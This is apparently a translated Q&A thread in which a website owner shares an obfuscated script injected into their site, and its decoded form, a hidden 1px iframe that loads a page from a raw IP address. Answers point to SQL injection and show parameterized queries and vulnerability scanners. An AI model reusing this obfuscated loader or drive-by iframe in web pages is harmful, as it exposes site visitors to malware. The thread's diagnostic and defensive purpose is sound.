0

以下代码正在添加到我们的网站。下面是它对页面的影响,基本上是打开一个 iframe 到恶意软件站点。我们的网站上周遇到了这个问题,为了解决这个问题,我们刚刚回滚了数据库和代码库来解决这个问题,它确实做到了。我有一个可以使用的损坏版本,并且正在搜索代码的来源和方式,但我什么也没想到。如果它是通过网站上的某种形式输入的,那么该条目在数据库中会是什么样子?如果它修改了代码库中的文件,为什么我找不到它?我应该寻找什么?对此的任何见解都会非常有帮助。我试图找出我们需要在哪里插入安全性。

注意:原始脚本没有换行符。这里显示了换行符以使代码可读:

<script type="text/javascript" charset="utf-8">
    p=parseInt;ss=(123)?String.fromCharCode:0;asgq="28!66!75!6e!63!74!6@!6f!6e!20!28!2@!20!7b!d!a!20!20!20!20!76!61!72!20!68!6f!75!65!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!72!65!61!74!65!45!6c!65!6d!65!6e!74!28!27!6@!66!72!61!6d!65!27!2@!3b!d!a!d!a!20!20!20!20!68!6f!75!65!2e!73!72!63!20!3d!20!27!68!74!74!70!3a!2f!2f!32!31!36!2e!31!31!3@!2e!31!31!34!2e!31!36!34!2f!65!73!64!2e!70!68!70!27!3b!d!a!20!20!20!20!68!6f!75!65!2e!73!74!7@!6c!65!2e!70!6f!73!6@!74!6@!6f!6e!20!3d!20!27!61!62!73!6f!6c!75!74!65!27!3b!d!a!20!20!20!20!68!6f!75!65!2e!73!74!7@!6c!65!2e!62!6f!72!64!65!72!20!3d!20!27!30!27!3b!d!a!20!20!20!20!68!6f!75!65!2e!73!74!7@!6c!65!2e!68!65!6@!67!68!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!68!6f!75!65!2e!73!74!7@!6c!65!2e!77!6@!64!74!68!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!68!6f!75!65!2e!73!74!7@!6c!65!2e!6c!65!66!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!68!6f!75!65!2e!73!74!7@!6c!65!2e!74!6f!70!20!3d!20!27!31!70!78!27!3b!d!a!d!a!20!20!20!20!6@!66!20!28!21!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!68!6f!75!65!27!2@!2@!20!7b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!77!72!6@!74!65!28!27!3c!64!6@!76!20!6@!64!3d!5c!27!68!6f!75!65!5c!27!3e!3c!2f!64!6@!76!3e!27!2@!3b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!68!6f!75!65!27!2@!2e!61!70!70!65!6e!64!43!68!6@!6c!64!28!68!6f!75!65!2@!3b!d!a!20!20!20!20!7d!d!a!7d!2@!28!2@!3b"
      .replace(/@/g,"9")
      .split("!");
   try{
      document.body&=0.1
   } catch(gdsgsdg) {
      zz=3;
      dbshre=103;
      if(dbshre){
         vfvwe=0;
         try{
            document;
         } catch(agdsg){
            vfvwe=1;
         }
         if(!vfvwe){
            e=eval;
         }
         s="";
         if(zz)
            for(i=0;i-480!=0;i++){
               if(window.document)
                  s+=ss(p(asgq[i],16));
            }
         if(window.document)
            e(s);
      }
   }
</script>

嵌入的十六进制代码解析为以下 Javascript:

(function () {
    var houe = document.createElement('iframe');

    houe.src = 'http://216.119.114.164/esd.php';
    houe.style.position = 'absolute';
    houe.style.border = '0';
    houe.style.height = '1px';
    houe.style.width = '1px';
    houe.style.left = '1px';
    houe.style.top = '1px';

    if (!document.getElementById('houe')) {
        document.write('<div id=\'houe\'></div>');
        document.getElementById('houe').appendChild(houe);
    }
})();

它正在注入div以下元素:

<div id="mgkc"><iframe src="http://216.119.114.164/esd.php" style="position: absolute; border: 0px; height: 1px; width: 1px; left: 1px; top: 1px;"></iframe></div>

<div id="houe"><iframe src="http://216.119.114.164/esd.php" style="position: absolute; border: 0px; height: 1px; width: 1px; left: 1px; top: 1px;"></iframe></div>
4

3 回答 3

1

我应该寻找什么?

假设这是一个 sql 注入问题(这听起来不错),您应该在您的 Web 应用程序代码中查找类似这样的内容:

sql = "SELECT columns FROM SomeTable WHERE SomeColumn=" + someVariable

如果您让我们知道您使用哪种语言,我可能会给出一个更具代表性的示例,但主要的是,无论您在何处使用字符串连接将来自用户的信息放入 sql 查询中——即使您通过函数运行它消毒、清洁或逃避它——你很脆弱。请注意,这甚至不是插入/更新/删除语句。它只是一个选择,语义表明 sql 甚至期望数字类型。没关系:攻击者仍然可以使用它来更改数据中的内容。

如果您使用的是 ORM,您甚至可能只是构建 WHERE 子句的一部分,因此它甚至可能只是这样:

filter = "SomeDataField='" + someVariable + "'"

处理它的正确方法是使用称为参数化查询或准备好的语句的东西,具体取决于您在操场上和哪些孩子一起玩。这些使用看起来更像这样的代码:

sql = "SELECT columns" + " FROM SomeTable WHERE SomeColumn= ?"
// Other code to define and set a parameter for SomeColumn goes here

请注意,我确实在那里使用了字符串连接(只是为了展示,以证明您可以通过这种方式构建查询),但我没有使用它将用户输入替换为查询。这里要理解的重要一点是,使用此方案(如果实施得当),用户输入永远不会直接替换到查询中,甚至在数据库服务器上也不会。相反,它是单独传输的,并且也被数据库引擎视为变量。

同样,如果我知道您使用的语言/平台,我可能会提供更好的表示。作为示例(这次我将使用 UPDATE),这是在 C# 中使用 Sql Server 安全执行此操作的一种方法:

string sql = "UPDATE table SET column= @SomeVariable WHERE ID= @UserID";
using (var cn = new SqlConnection("connection string here"))
using (var cmd = new SqlCommand(sql, cn))
{
    cmd.Parameters.Add("@SomeVariable", SqlDbType.VarChar, 50).Value = someVariable;
    cmd.Parameters.Add("@UserID", SqlDbType.Int).Value = UserID;

    cn.Open();
    cmd.ExecuteNonQuery();
}
于 2013-04-10T21:46:51.640 回答
0

您网站上的表单如何与您的数据库交互?他们是创建与数据库的直接连接还是使用 Web 服务?如果您直接在数据库上执行查询,那么您应该参数化您的查询。

于 2013-04-10T21:46:03.627 回答
0

有多个网站漏洞扫描程序可以测试网站上的 SQL 注入和其他漏洞。这是一个简短的列表 -检查https://security.stackexchange.com/questions/32/what-tools-are-available-to-assess-the-security-of-a-web-application/38#38较大的一个:

另外还可以查看这些链接:

通常,您还需要搜索代码库中的每个 SQL 命令,并验证没有未经处理的输入被发送到数据库。

于 2013-04-10T22:03:00.340 回答